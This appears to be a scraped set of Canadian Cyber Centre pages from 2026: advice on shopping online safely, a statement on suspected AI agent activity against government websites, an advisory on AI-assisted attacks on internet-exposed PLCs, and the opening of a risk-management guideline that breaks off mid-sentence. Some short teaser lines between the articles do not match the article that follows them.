Cyber Security Guidance Canada Government

This technical article is the second in a series on the work of the Frontier AI Lab. This second article focuses on malware reverse engineering, the process of deconstructing malicious software without its original source code to help cyber defenders understand its functionality and purpose.

<article data-history-node-id="631" about="/en/guidance/shopping-online-safely-itsap00071" class="cccs-basic-page full clearfix"> <div class="content"> <div class="layout layout–onecol"> <div class="layout__region layout__region–content"> <div data-block-plugin-id="extra_field_block:node:cccs_basic_page:links" class="block block-layout-builder block-extra-field-blocknodecccs-basic-pagelinks clearfix"> </div> <div data-block-plugin-id="field_block:node:cccs_basic_page:body" class="block block-layout-builder block-field-blocknodecccs-basic-pagebody clearfix"> <div class="field field–name-body field–type-text-with-summary field–label-hidden field–item"><section><div class="row"><!–Info across the top under the image–> <div class="col-md-4 pull-left"> <p class="text-left"><strong>October 2026</strong></p> </div> <div class="col-md-4"> <p class="text-center"><strong>Awareness series</strong></p> </div> <div class="col-md-4 pull-right"> <p class="text-right"><strong>ITSAP.00.071</strong></p> </div> <!–ENGLISH Intro paragraph plus pdf download–> <div class="col-md-12 mrgn-tp-lg"><!– <div class="mrgn-bttm-md well well-sm col-md-4 pull-right mrgn-lft-md"> <p class="mrgn-tp-sm"><strong>Alternate format</strong>: <a href="/sites/default/files/itsap00071-how-shop-online-safely-e.pdf">How to shop online safely&nbsp;- ITSAP.00.071 (PDF,&nbsp;832&nbsp;KB)</a></p> </div> –> <p>E-commerce is evolving and so have the threats that target shoppers and the information they rely on.</p> <p>Threat actors use increasingly convincing techniques to steal personal and financial information, redirect payments and compromise online accounts. These activities can put both your personal information and your organization’s assets at risk, including email accounts, shipping details, phone numbers and credit card information.</p> <p>Whether you are shopping for yourself or making purchases for your organization, taking a few simple precautions can help you stay safe online.</p> </div> </div> </section><details><summary><h2 class="h3">On this page</h2> </summary><ul><li><a href="#Common-threats">Understand common online shopping threats</a></li> <li><a href="#Signs-scam">Recognize the warning signs of a scam</a></li> <li><a href="#Protect-yourself">Protect yourself when shopping online</a></li> <li><a href="#Steps-take">Steps to take after an online shopping incident</a></li> <li><a href="#Learn">Learn more</a></li> </ul></details><section><h2 id="Common-threats">Understand common online shopping threats</h2> <p>Online shopping could put you and your organization at risk of identity theft, account compromise and financial loss. Threat actors now use a wider range of techniques to make fraudulent websites, ads and messages appear legitimate and trustworthy. Some of these techniques may be automated or enhanced using artificial intelligence (AI), making scams harder to detect. The following examples demonstrate common ways threat actors can gain access to user accounts and obtain sensitive information:</p> <ul><li>fake e-commerce sites that collect your information or payment details after you complete a purchase without delivering goods or services</li> <li>fraudulent payment processing sites, including fake checkout pages or third-party payment requests, that collect money for fake or unauthorized transactions</li> <li>websites that do not use encrypted connections (such as, HTTPS), increasing the risk of your information being intercepted, particularly when you use public or unsecured networks</li> <li>websites or online marketplaces that lack basic consumer protections and do not verify sellers, increasing the risk of fraud</li> <li>impersonation scams where criminals copy the names, logos, and designs of real retailers or delivery companies</li> <li>fraudulent shopping links or QR codes delivered through malicious shopping apps, social media ads, emails or text messages</li> <li>requests to move payments outside the official checkout process, such as paying by e-transfer, gift card or cryptocurrency, or to return money for an alleged overpayment</li> </ul><p>Professional-looking websites, padlock icons, encrypted connections and familiar brand names do not guarantee a site is legitimate. Many fraudulent shopping sites are designed to closely resemble trusted retailers and exploit the trust users have in familiar brands.</p> <div class="panel panel-default"> <header class="panel-heading"><h5 class="panel-title">How AI is affecting online shopping</h5> </header><div class="panel-body"> <p><abbr title="artificial intelligence">AI</abbr> is increasingly used to create shopping websites, generate advertisements, recommend products and automate customer interactions. While these technologies can improve convenience, they also introduce new risks for online shoppers. <abbr title="artificial intelligence">AI</abbr> can be used by both legitimate businesses and scammers, making it more difficult to distinguish between genuine and fraudulent content.</p> <p><strong>AI-enabled shopping scams</strong></p> <p>Scammers can use <abbr title="artificial intelligence">AI</abbr> to create convincing websites, advertisements, product descriptions, reviews and customer service interactions. <abbr title="artificial intelligence">AI</abbr>-generated content can appear professional and authentic, making scams more difficult to spot. In the past, poor grammar, spelling mistakes or low-quality website content were common warning signs. While these signs can still indicate fraud, they may be less reliable than before.</p> <p><strong>Using AI shopping assistants</strong></p> <p>Some online tools now act as autonomous or semi-autonomous shopping assistants, making recommendations or completing purchases on a buyer’s behalf. Relying too heavily on these tools may increase the risk of:</p> <ul><li>placing too much trust in <abbr title="artificial intelligence">AI</abbr> recommendation or decisions, even when they are based on incomplete, outdated or manipulated information</li> <li>automated decisions being made without sufficient verification, such as choosing unfamiliar sellers or responding to time-limited offers</li> <li>sharing personal, financial or browsing data with <abbr title="artificial intelligence">AI</abbr> tools that may store, reuse or expose this information if not properly secured</li> <li>being influenced by recommendations that prioritize sponsored, manipulated or artificially promoted products over legitimate options</li> </ul><p><abbr title="artificial intelligence">AI</abbr> tools cannot reliably determine whether a seller, website or offer is trustworthy or fraudulent in the same way a person can. You should remain actively involved in shopping decisions and verify sellers and payment details. Treat <abbr title="artificial intelligence">AI</abbr>-generated recommendations as guidance, not assurances of legitimacy.</p> </div> </div> </section><section><h2 id="Signs-scam">Recognize the warning signs of a scam</h2> <p>Fraudulent shopping websites, including those created with <abbr title="artificial intelligence">AI</abbr> tools, can appear legitimate and convincing. Use the following checks to help assess whether a website is safe to use.</p> <h3>Check how the website looks and behaves</h3> <ul><li>Look for poor design elements that make the site appear unprofessional</li> <li>Observe whether links, buttons and navigation features seem to work properly</li> <li>Check for clear contact information such as an address, email or phone number</li> <li>Review the privacy, return and refund policies and make sure they are clear</li> <li>Question requests for personal or payment information that is not needed for your purchase</li> </ul><h3>Be careful of unusual offers and suspicious messages</h3> <ul><li>Compare prices and be cautious of deals that seem too good to be true</li> <li>Review shipping costs, duties and extra charges for anything that seems abnormal, and be cautious of unexpected fees that significantly increase the total cost</li> <li>Notice pressure tactics that push you to act quickly, such as limited time or last-chance messages</li> <li>Be alert to unexpected follow-up messages or customer-support requests claiming issues with your payment, delivery, customs fees, refunds or order status that require urgent action</li> </ul></section><section><h2 id="Protect-yourself">Protect yourself when shopping online</h2> <p>The steps below can help protect you and your organization when shopping online. While these practices reduce risk, no single step can eliminate it completely.</p> <h3>Research the retailer</h3> <p>Before making a purchase:</p> <ul><li>search for independent reviews beyond the retailer’s website</li> <li>check how long the retailer has been operating and whether it has an established online presence</li> <li>look for complaints, scam reports or unresolved customer issues</li> <li>confirm that customer service channels respond to inquiries before making large purchases</li> </ul><p>When a product is advertised through a social media platform or marketplace:</p> <ul><li>confirm whether the seller or account is verified by the platform</li> <li>review feedback from multiple verified or confirmed buyers and look for consistent patterns across reviews</li> <li>use reputable online marketplaces with clear return and fraud-protection policies for third-party resellers</li> </ul><h3>Browse safely</h3> <p>When visiting shopping websites:</p> <ul><li>configure <a href="https://www.cira.ca/en/">CIRA Canadian Shield</a> on your home network or devices to help block known malicious websites</li> <li>use websites that support encrypted connections (HTTPS) to help protect your information</li> <li>follow browser security warnings and do not continue to websites flagged as unsafe</li> <li>do not rely on padlock icons or website appearance alone to determine if the site is legitimate</li> <li>be careful when shopping on mobile devices, where shortened URLs and limited screen space can make fraudulent sites harder to identify</li> </ul><h3>Protect your accounts</h3> <p>To reduce account and payment-related risks:</p> <ul><li>create a unique and strong passphrase for each online account</li> <li>avoid reusing passphrases for shopping, email and financial accounts</li> <li>use phishing-resistant multi-factor authentication (MFA) where available</li> <li>check your credit card statements regularly for unfamiliar charges</li> <li>use a safe form of payment from major financial institutions, such as credit cards, that offer fraud protection or chargeback options</li> <li>use virtual credit card numbers or accounts with spending limits when shopping with unfamiliar retailers</li> </ul><h3>Take additional precautions</h3> <p>To further reduce your exposure, you should:</p> <ul><li>limit the amount of personal information you provide to what is strictly necessary</li> <li>use guest checkout when available to reduce the likelihood that the retailer will store (or share) your personal information. <ul><li>if you create an account, protect it with a strong passphrase and <abbr title="multi-factor authentication">MFA</abbr></li> </ul></li> <li>regularly back up your devices and update them with the latest security patches <ul><li>use secure, password-protected Wi-Fi networks and avoid making purchases on public Wi-Fi</li> </ul></li> <li>be cautious of promotional emails, texts or messages offering special deals</li> <li>go directly to retailers’ official websites instead of clicking links</li> </ul></section><section><h2 id="Steps-take">Steps to take after an online shopping incident</h2> <p>Threats and scams can be difficult to spot. You may not even know that you’ve been targeted until after your money has been stolen or information has already been shared. Even if you’re not sure if you’ve been scammed, it is important to act quickly. If you believe you are the victim of a scam or a potential compromise, you should take the following actions to report and mitigate the incident.</p> <h3>Step 1: Notify your organization</h3> <p>If the purchase was made on behalf of your organization or involved organizational accounts, devices or payment methods, report the incident to your security department, technical support or senior management. Early reporting helps reduce further risk and supports organizational response and recovery.</p> <h3>Step 2: Contact your credit card company</h3> <p>Report the suspicious transaction immediately. Ask your bank or credit card company to cancel or reverse the charge and clarify whether account monitoring or a replacement card is needed.</p> <h3>Step 3: Reset affected accounts</h3> <p>Change passwords for any affected shopping, email and social media accounts. Use strong, unique passphrases and turn on phishing-resistant <abbr title="multi-factor authentication">MFA</abbr> where available. If you used the same password on other sites or accounts, change it on those accounts too and use unique passwords for each of your accounts going forward.</p> <h4>Step 4: Report the incident</h4> <p>Report fraud and cybercrime to the <a href="https://reportcyberandfraud.canada.ca/">Canadian Anti-Fraud Centre</a> or by calling <a href="tel:+1-888-495-8501">1-888-495-8501</a>. You should also report attempted scams even if you didn’t lose any money, as this information helps protect others.</p> </section><section><h2 id="Learn">Learn more</h2> <ul><li><a data-entity-substitution="canonical" data-entity-type="node" data-entity-uuid="300c9e0e-f1b5-4344-97b3-e98cc202ca32" href="/en/guidance/using-encryption-keep-your-sensitive-data-secure-itsap40016">Using encryption to keep your sensitive data secure (ITSAP.40.016)</a></li> <li><a data-entity-substitution="canonical" data-entity-type="node" data-entity-uuid="32369248-5885-44f2-9af9-d4a80bb9c8b6" href="/en/guidance/best-practices-passphrases-and-passwords-itsap30032">Best practices for passphrases and passwords (ITSAP.30.032)</a></li> <li><a data-entity-substitution="canonical" data-entity-type="node" data-entity-uuid="df4d897c-c726-4e48-8901-408ba2bdf6d3" href="/en/guidance/secure-your-accounts-and-devices-multi-factor-authentication-itsap30030">Secure your accounts and devices with multi-factor authentication (ITSAP.30.030)</a></li> <li><a data-entity-substitution="canonical" data-entity-type="node" data-entity-uuid="639ede31-0d64-45cb-9688-664b3ee445cb" href="/en/guidance/how-updates-secure-your-device-itsap10096">How updates secure your device (ITSAP.10.096)</a></li> <li><a data-entity-substitution="canonical" data-entity-type="node" data-entity-uuid="481aa714-81de-40f1-a235-4b363a33b5ed" href="/en/guidance/virtual-private-networks-itsap80101">Virtual private networks (ITSAP.80.101)</a></li> <li><a data-entity-substitution="canonical" data-entity-type="node" data-entity-uuid="719fcafc-bc2d-4270-abb3-b8933711ceb4" href="/en/blogs/how-spot-unsafe-online-store">How to spot an unsafe online store</a></li> </ul></section></div> </div> </div> </div> </div> </article>

This publication provides insight into the threat landscape and outlines corresponding mitigation strategies to safeguard the integrity and reliability of cable infrastructure.

<article data-history-node-id="8302" about="/en/news-events/statement-regarding-reported-activity-targeting-government-canada-websites" class="cccs-basic-page full clearfix"> <div class="content"> <div class="layout layout–onecol"> <div class="layout__region layout__region–content"> <div data-block-plugin-id="extra_field_block:node:cccs_basic_page:links" class="block block-layout-builder block-extra-field-blocknodecccs-basic-pagelinks clearfix"> </div> <div data-block-plugin-id="field_block:node:cccs_basic_page:body" class="block block-layout-builder block-field-blocknodecccs-basic-pagebody clearfix"> <div class="field field–name-body field–type-text-with-summary field–label-hidden field–item"><p><strong>From:</strong> <a href="https://www.cse-cst.gc.ca/en"><strong>Communications Security Establishment Canada</strong></a></p> <h2>Statement</h2> <p><strong>September 29, 2026</strong> – Ottawa, Ontario</p> <p>We are aware of reports identifying suspicious activity, including suspected AI agent activity, targeting publicly accessible websites, such as the Government of Canada. There is no indication that government systems have been compromised at this time.</p> <p>Public-facing government websites routinely receive automated and potentially malicious requests. Such activity is an ongoing feature of the online environment and does not, on its own, indicate a successful cyber incident. While such activity is common, the Government of Canada takes reports of potential cyber security incidents and suspicious online activity seriously. The Canadian Centre for Cyber Security (Cyber Centre) is working closely with government partners to assess the information referenced in the reports.</p> <p>The Cyber Centre employs robust, layered cyber security measures to help protect Government of Canada networks, systems and information from evolving cyber threats. Our world-class cyber defence tools are designed to detect and block malicious activity, regardless of its source.</p> <p>More broadly, the Cyber Centre works closely with partners in Canada and internationally, including all levels of government, Indigenous communities, industry, academia and developers of advanced AI models, to better understand the opportunities, challenges and cyber security risks associated with emerging technologies such as artificial intelligence. Through this work, the Cyber Centre shares advice, guidance, threat intelligence and cyber defence services to help strengthen the security and resilience of Government of Canada systems, critical infrastructure and Canada’s broader digital ecosystem.</p> <h3>Contacts</h3> <p>For more information, please contact (media only):</p> <h4>CSE Media Relations</h4> <p><a href="mailto:media@cse-cst.gc.ca">media@cse-cst.gc.ca</a></p> <h4>Stay connected</h4> <p>Follow <a href="https://x.com/CyberCentre_ca">Cyber Centre</a> and <a href="https://x.com/cse_cst">CSE</a> on X (formerly known as Twitter) and on <a href="https://www.linkedin.com/company/cse_cst/">LinkedIn</a>.</p> </div> </div> </div> </div> </div> </article>

The time to act is now: Strengthening critical infrastructure cyber readiness for a resilient Canada.

As cyber threats become more complex and threat actors more sophisticated, many security operations centres are being set up.

This guidance provides strategies to prevent, detect and mitigate prevalent Active Directory compromises

<article data-history-node-id="8188" about="/en/news-events/cyber-threat-actors-use-artificial-intelligence-active-global-campaign-disrupt-internet-exposed-programmable-logic-controllers" class="cccs-basic-page full clearfix"> <div class="content"> <div class="layout layout–onecol"> <div class="layout__region layout__region–content"> <div data-block-plugin-id="extra_field_block:node:cccs_basic_page:links" class="block block-layout-builder block-extra-field-blocknodecccs-basic-pagelinks clearfix"> </div> <div data-block-plugin-id="field_block:node:cccs_basic_page:body" class="block block-layout-builder block-field-blocknodecccs-basic-pagebody clearfix"> <div class="field field–name-body field–type-text-with-summary field–label-hidden field–item"><p>The Canadian Centre for Cyber Security (Cyber Centre) is warning Canadian organizations of an active global campaign in which cyber threat actors are targeting and attempting to disrupt programmable logic controllers (PLCs) that are exposed to the internet. The Cyber Centre and its partners have previously warned that cyber threat actors are targeting internet-accessible industrial control systems and operational technologies (<abbr title="Industrial Control Systems">ICS</abbr>/<abbr title="Operational Technology">OT</abbr>) to disrupt water facilities and other critical services in Canada and abroad. This cybersecurity advisory describes how threat actors are using artificial intelligence (AI) to find and attack these devices.</p> <h2>The threat to Canadian organizations</h2> <p>The Cyber Centre continues to observe cyber threat actors targeting and attempting to disrupt internet-exposed <abbr title="Industrial Control Systems">ICS</abbr>/<abbr title="Operational Technology">OT</abbr> systems in Canada. In October 2025, the Cyber Centre observed several incidents affecting <abbr title="Industrial Control Systems">ICS</abbr>/<abbr title="Operational Technology">OT</abbr> systems in Canada. In one incident, a threat actor manipulated water pressure valve controls at a municipal water system, causing minor impacts to water service delivery.</p> <p>In July 2026, the United States’ Cybersecurity and Infrastructure Security Agency (CISA) reported a significant increase in attacks against <abbr title="Programmable Logic Controllers">PLCs</abbr> at water and wastewater utilities. Threat actors changed passwords to lock operators out of their controllers and took devices offline by changing their network addresses. This activity resulted in boil water advisories and sustained manual operations at affected utilities.</p> <p>Threat actors are testing and refining their exploitation techniques against specific PLC models. They are focusing their activity on specific sectors and facilities. Our partners assess that this activity is likely persistent reconnaissance intended to develop capabilities and prepare to cause operational effects against critical infrastructure. The most targeted sectors include: critical manufacturing, energy, water and wastewater, chemical, food and agriculture, and commercial facilities. Threat actors are targeting organizations of every size.</p> <p>Canada has not experienced a high-impact <abbr title="Industrial Control Systems">ICS</abbr>/<abbr title="Operational Technology">OT</abbr> incident so far. However, we assess that the threat to <abbr title="Industrial Control Systems">ICS</abbr>/<abbr title="Operational Technology">OT</abbr> owners and operators is increasing and that future incidents will likely be more severe.</p> <p>To monitor and mitigate this threat, we encourage Canadian organizations to consult the guidance linked below on reducing internet exposure, securing remote access, and protecting <abbr title="Industrial Control Systems">ICS</abbr>/<abbr title="Operational Technology">OT</abbr> systems.</p> <h2>The threat to internet-exposed <abbr title="Programmable Logic Controllers">PLCs</abbr></h2> <p><abbr title="Programmable Logic Controllers">PLCs</abbr> are small industrial computers that control physical processes, such as pumps, valves, pressure, and temperature. They are used in facilities across every critical infrastructure sector. A threat actor with access to a PLC can disrupt industrial processes, damage equipment, endanger worker and public safety. The impacts can spread across interconnected systems. While <abbr title="Programmable Logic Controllers">PLCs</abbr> are a frequent target because they directly control physical processes, other internet-exposed <abbr title="Industrial Control Systems">ICS</abbr>/<abbr title="Operational Technology">OT</abbr> assets, including human-machine interfaces (HMIs), are also at risk.</p> <p>Cyber threat actors use internet scanning services to find exposed <abbr title="Programmable Logic Controllers">PLCs</abbr> and take advantage of weak, default, or absent passwords to access them. After gaining access, threat actors have changed device settings, disabled alarms, and locked operators out of their systems, forcing facilities into manual operations while service is restored.</p> <p>Many <abbr title="Programmable Logic Controllers">PLCs</abbr> are exposed to the internet unintentionally and without the knowledge of the organizations that own them. These systems can be readily identified using public internet scanning services. A control system may be isolated from an organization’s enterprise information technology (IT) network but still be accessible from the internet. A cellular modem or a vendor remote access connection installed during commissioning or maintenance may provide access. These connections are often undocumented, retained after they are no longer required, and missed by routine attack surface scans. Organizations should verify that their systems cannot be accessed from the internet.</p> <p>Organizations should also identify and secure all internet-accessible <abbr title="Industrial Control Systems">ICS</abbr>/<abbr title="Operational Technology">OT</abbr> assets, not only <abbr title="Programmable Logic Controllers">PLCs</abbr>, and ensure remote access is properly controlled and monitored.</p> <h2>The risk from third parties and system integrators</h2> <p>The risk of unknown exposure is greatest for organizations that rely on system integrators or third-party service providers who may have remote access to their <abbr title="Programmable Logic Controllers">PLCs</abbr> for maintenance, monitoring, or support activities. Even organizations with mature cyber security programs should validate their external connections with their integrators and service providers and scan the internet address ranges they own to identify exposed systems, especially connections set up by third parties that are no longer actively managed or documented.</p> <p>Unclear division of roles and responsibilities between organizations and their service providers often creates gaps that leave critical systems unprotected. We encourage organizations to work closely with their integrators and service providers to ensure that systems are implemented securely and maintained throughout their lifecycle, and to consider including maintenance, security responsibilities, and liability in service agreements, in alignment with security best practices.</p> <h2>Cyber threat actors use artificial intelligence to attack <abbr title="Programmable Logic Controllers">PLCs</abbr></h2> <p>As we noted in our cyber threat bulletin on non-state activity targeting Canadian operational technology, AI tools capable of supporting cyber threat activity are rapidly improving and becoming increasingly available. These tools allow even low-sophistication threat actors to conduct more complex and disruptive attacks against <abbr title="Industrial Control Systems">ICS</abbr>/<abbr title="Operational Technology">OT</abbr> systems. We assess that as these tools become more widely available, opportunistic attacks against internet-exposed systems will likely also become more frequent.</p> <p>As part of this campaign, threat actors are using AI to generate exploitation scripts that they disguise as legitimate monitoring software, dramatically reducing the expertise and time needed to develop working attack tools. It is very likely that the actors continue to operate despite public reporting outlining their activities. Our partners issued their most recent warnings in August 2026.</p> <h2>Useful resources</h2> <p>Refer to the following resources for more information and useful advice and guidance.</p> <h3>Reports and advisories</h3> <ul><li>Canada’s threat assessments <ul><li><a href="/en/guidance/national-cyber-threat-assessment-2025-2026">National Cyber Threat Assessment 2025-2026</a></li> </ul></li> <li>Advisories and partner publications <ul><li><a href="/en/guidance/cyber-threat-bulletin-non-state-activity-targeting-canadian-operational-technology">Cyber threat bulletin: Non-state activity targeting Canadian operational technology</a></li> <li><a href="/en/alerts-advisories/al25-016-internet-accessible-industrial-control-systems-ics-abused-hacktivists">Alert AL25-016 Internet-accessible industrial control systems (ICS) abused by hacktivists</a></li> <li><a href="https://www.cisa.gov/news-events/cybersecurity-advisories/aa26-231a">Defending Against an Active Threat to Siemens S7 Series <abbr title="Programmable Logic Controllers">PLCs</abbr></a></li> <li><a href="https://www.cisa.gov/news-events/alerts/2026/07/30/cisa-urges-water-and-wastewater-systems-sector-protect-ot-against-activity-targeting-plcs"><abbr title="Cybersecurity and Infrastructure Security Agency">CISA</abbr> Urges Water and Wastewater Systems Sector to Protect OT Against Activity Targeting <abbr title="Programmable Logic Controllers">PLCs</abbr></a></li> <li><a href="https://www.ncsc.gov.uk/news/disruptive-cyber-activity-highlights-risk-from-internet-exposed-systems-and-edge-devices">Disruptive cyber activity highlights risk from internet-exposed systems and edge devices</a></li> <li><a href="https://www.cisa.gov/news-events/cybersecurity-advisories/aa25-343a">Pro-Russia Hacktivists Conduct Opportunistic Attacks Against US and Global Critical Infrastructure</a></li> <li><a href="https://www.ncsc.gov.uk/collection/operational-technology/definitive-architecture-view">Creating and maintaining a definitive view of your <abbr title="Operational Technology">OT</abbr> architecture</a></li> <li><a href="https://www.ncsc.gov.uk/collection/operational-technology/secure-connectivity">Secure connectivity principles for operational technology (OT)</a></li> <li><a href="https://www.cisa.gov/resources-tools/resources/primary-mitigations-reduce-cyber-threats-operational-technology">Primary Mitigations to Reduce Cyber Threats to Operational Technology</a></li> <li><a href="https://www.cisa.gov/resources-tools/resources/exposure-reduction">Internet Exposure Reduction Guidance</a></li> </ul></li> </ul><h3>Advice and guidance</h3> <ul><li><a href="/en/cyber-security-readiness/cyber-security-readiness-goals-securing-our-most-critical-systems">Cyber Security Readiness Goals: Securing Our Most Critical Systems</a></li> <li><a href="/en/cyber-security-readiness/cross-sector-cyber-security-readiness-goals-toolkit">Cross-Sector Cyber Security Readiness Goals Toolkit</a></li> <li><a href="/en/cyber-security-readiness/critical-infrastructure-resilience-escalated-threat-navigation-initiative">Critical infrastructure resilience and escalated threat navigation initiative</a></li> <li><a href="/en/guidance/security-considerations-critical-infrastructure-itsap10100">Security considerations for critical infrastructure (ITSAP.10.100)</a></li> <li><a href="/en/guidance/protect-your-operational-technology-itsap00051">Protect your operational technology (ITSAP.00.051)</a></li> <li><a href="/en/guidance/security-considerations-industrial-control-systems-itsap00050">Security considerations for industrial control systems (ITSAP.00.050)</a></li> <li><a href="/en/guidance/frontier-artificial-intelligence-itsap10050">Frontier artificial intelligence (ITSAP.10.050)</a></li> </ul></div> </div> </div> </div> </div> </article>

<article data-history-node-id="8109" about="/en/guidance/cyber-security-privacy-risk-management/organizational-cyber-security-privacy-risk-management-activities-itsp10036" class="cccs-basic-page full clearfix"> <div class="content"> <div class="layout layout–onecol"> <div class="layout__region layout__region–content"> <div data-block-plugin-id="extra_field_block:node:cccs_basic_page:links" class="block block-layout-builder block-extra-field-blocknodecccs-basic-pagelinks clearfix"> </div> <div data-block-plugin-id="field_block:node:cccs_basic_page:body" class="block block-layout-builder block-field-blocknodecccs-basic-pagebody clearfix"> <div class="field field–name-body field–type-text-with-summary field–label-hidden field–item"><div class="row"> <div class="col-md-4 pull-left hidden-xs hidden-sm"> <p class="text-left"><strong>September 2026</strong></p> </div> <div class="col-md-4 hidden-xs hidden-sm"> <p class="text-center"><strong>Practitioner series</strong></p> </div> <div class="col-md-4 pull-right hidden-xs hidden-sm"> <p class="text-right"><strong>ITSP.10.036</strong></p> </div> <!–MOBILE STARTS HERE–> <div class="hidden-lg hidden-md text-center"> <p><strong>September 2026 | Practitioner series</strong></p> </div> <!–pdf download–> <div class="col-md-12 mrgn-tp-lg"><div class="mrgn-bttm-md well well-sm col-md-4 col-sm-12 col-xs-12 pull-right mrgn-lft-md"> <p class="mrgn-tp-sm"><strong>Alternate format</strong>: <a href="/sites/default/files/itsp.10.036-e.pdf">Organizational cyber security and privacy risk management activities  – ITSP.10.036 (PDF, 1 MB)</a></p> </div></div> </div> <h2 class="text-info">Foreword</h2> <p>Organizational cyber security and privacy risk management activities (ITSP.10.036) is an unclassified publication issued under the authority of the Head, Canadian Centre for Cyber Security (Cyber Centre).</p> <p>This publication supersedes <abbr title="information technology">IT</abbr> security risk management: A lifecycle approach (ITSG-33), Annex 1 – Departmental <abbr title="information technology">IT</abbr> security risk management activities.</p> <p>For more information or to suggest amendments, contact the Cyber Centre:</p> <ul><li>by email: <a href="mailto:contact@cyber.gc.ca">contact@cyber.gc.ca</a></li> <li>by phone: <a href="tel:+16139497048">(613) 949-7048</a> or <span class="nowrap"><a href="tel:+18332923788">1-833-CYBER-88</a></span></li> </ul><h2 class="text-info">Effective date</h2> <p>This publication takes effect on September 14, 2026.</p> <h2 class="text-info">Revision history</h2> <ol><li><strong>First release:</strong> September 14, 2026</li> </ol><section><h2 class="text-info">Overview</h2> <p>This publication is part of a series of guidelines published by the Cyber Centre, under Cyber security and privacy risk management: A lifecycle approach. This publication describes a cyber security and privacy risk management process that includes activities at the organizational level.</p> <p>This publication is a tool to assist security and privacy practitioners in their efforts to protect organizations in compliance with applicable legislation, policies, directives and standards. It outlines a risk management framework designed to ensure that organizations effectively manage risks and obtain approval from the appropriate authorities on those risks.</p> <p>This publication focuses on 4 key objectives that guide organizations in effectively managing risks and ensuring compliance:</p> <ul><li>Identify and understand the cyber security and privacy needs of organizational programs and services and select a set of tailored controls and activities that meet these needs</li> <li>Allocate security controls that satisfy cyber security and privacy needs and the cyber security and risk management requirements of applicable legislation, policies, directives, and standards (for the Government of Canada (GC), namely Treasury Board of Canada Secretariat (TBS) policy instruments)</li> <li>Continuously monitor and assess the performance of organizational security and privacy controls and activities to detect incidents and identify vulnerabilities and deficiencies in a timely manner</li> <li>Update implemented controls and activities to respond to incidents, correct vulnerabilities, and continuously improve the cyber security and privacy posture of organizational systems</li> </ul><div class="panel panel-info"> <header class="panel-heading"><h3 class="panel-title"><abbr title="Government of Canada">GC</abbr>-specific note</h3> </header><div class="panel-body"> <p>In the <abbr title="Government of Canada">GC</abbr>, adherence to the Cyber security and privacy risk management: A lifecycle approach guidelines has many benefits for organizations, including:</p> <ul><li>compliance with the overall risk management strategy and objectives established by <abbr title="Treasury Board Secretariat">TBS</abbr></li> <li>addressing key aspects of cyber security and privacy</li> <li>managing cyber security and privacy risks, all in an efficient, consistent and cost-effective manner</li> </ul></div> </div> </section><section><details class="mrgn-tp-md"><summary><h2 class="h3">Table of contents</h2> </summary><ul class="list-unstyled lst-spcd"><li><a href="#1">1 Introduction</a> <ul class="lst-none"><li><a href="#1.1">1.1 Purpose</a></li> <li><a href="#1.2">1.2 Context in the Government of Canada</a></li> <li><a href="#1.3">1.3 Scope and applicability</a></li> <li><a href="#1.4">1.4 Audience</a></li> <li><a href="#1.5">1.5 Publication taxonomy</a></li> <li><a href="#1.6">1.6 Publication organization</a></li> </ul></li> <li><a href="#2">2 Cyber security and privacy risk management process</a></li> <li><a href="#3">3 Relationships with external processes</a></li> <li><a href="#4">4 Organizational cyber security and privacy risk management activities</a> <ul class="lst-none"><li><a href="#4.1">4.1 Define organizational cyber security and privacy needs</a></li> <li><a href="#4.2">4.2 Develop organizational security and privacy control and activity profiles</a></li> <li><a href="#4.3">4.3 Allocate security and privacy controls and activities</a></li> <li><a href="#4.4">4.4 Monitor and assess performance of security and privacy controls and activities</a></li> <li><a href="#4.5">4.5 Maintain authorization</a></li> <li><a href="#4.6">4.6 Update security and privacy controls and activities profile(s)</a></li> </ul></li> <li><a href="#5">5 Injury assessment and categorization process</a> <ul class="lst-none"><li><a href="#5.1">5.1 Concepts</a></li> <li><a href="#5.2">5.2 Injury assessment and categorization process</a></li> <li><a href="#5.3">5.3 Injury assessment and categorization process description</a></li> <li><a href="#5.4">5.4 Examples</a></li> </ul></li> </ul><h3>List of figures</h3> <ul class="list-unstyled"><li><a href="#fig1">Figure 1: Cyber security and privacy risk management process</a></li> <li><a href="#fig2">Figure 2: Organizational cyber security and privacy risk management activities</a></li> <li><a href="#fig3">Figure 3: Injury assessment and categorization process</a></li> </ul><h3>List of tables</h3> <ul class="list-unstyled"><li><a href="#tab1">Table 1: Examples of common controls and activities allocation</a></li> <li><a href="#tab2">Table 2: Examples of injury types and levels (<abbr title="Government of Canada">GC</abbr>-centric)</a></li> <li><a href="#tab3">Table 3: Examples of injury types and levels</a></li> <li><a href="#tab4">Table 4: Confidentiality – Non-national interest (Protected)</a></li> <li><a href="#tab5">Table 5: Confidentiality – National interest (Classified)</a></li> <li><a href="#tab6">Table 6: Integrity and availability</a></li> </ul><h3>List of annexes</h3> <ul class="list-unstyled"><li><a href="#ann.a">Annex A – Government of Canada injury levels conversion</a></li> </ul></details></section><section><h2 class="text-info" id="1">1 Introduction</h2> <p>The process described in this publication outlines a risk management framework designed to ensure that organizations effectively manage cyber security and privacy risks and obtain approval from the appropriate authorities for those risks. This publication also provides specifications on how to conduct injury assessment and categorization as part of risk management. The process described in this publication can be adapted to fit your organization’s needs.</p> <h3 id="1.1">1.1 Purpose</h3> <p>This publication is part of a series of guidelines published by the Cyber Centre, under Cyber security and privacy risk management: A lifecycle approach. It aims to support organizations in implementing a structured risk management approach. This publication outlines a set of activities to help organizations determine and achieve an appropriate level of security, aligned with business requirements and operational context. It also provides guidance on structuring a security assessment and authorization (SA&amp;A) framework, which formalizes how cyber security risks are assessed, documented, and managed across an organization. It describes how to conduct an injury assessment and categorization of the organization’s business processes and related information based on the potential impacts to confidentiality, integrity and availability (CIA).</p> <h3 id="1.2">1.2 Context in the Government of Canada</h3> <p>In the <a href="https://www.tbs-sct.canada.ca/pol/doc-eng.aspx?id=32611"><abbr title="Treasury Board Secretariat">TBS</abbr> Directive on Security Management (DSM)</a>, <abbr title="Treasury Board Secretariat">TBS</abbr> assigns to senior officials in the department’s security governance the responsibility for participating in and reporting to the department as well as assigning security responsibilities for programs, services and activities.</p> <p>The <abbr title="Treasury Board Secretariat">TBS</abbr> <abbr title="Directive on Security Management">DSM</abbr> instructs senior officials in a department’s security governance to identify security requirements and related resource needs for programs. It also advises them to ensure that security practices and security controls are defined, documented, implemented, monitored and maintained to meet identified security requirements for programs, services and activities. These senior officials shall document or recommend actions to be taken regarding residual risks for programs, services and activities. They need to establish processes to monitor, respond to, and report threats, vulnerabilities, security incidents and other security events. They are required to address security events that could impact programs, services and activities or that require an immediate or coordinated government-wide action. They must monitor and report on the effectiveness of security practices and controls and share the results with the chief security 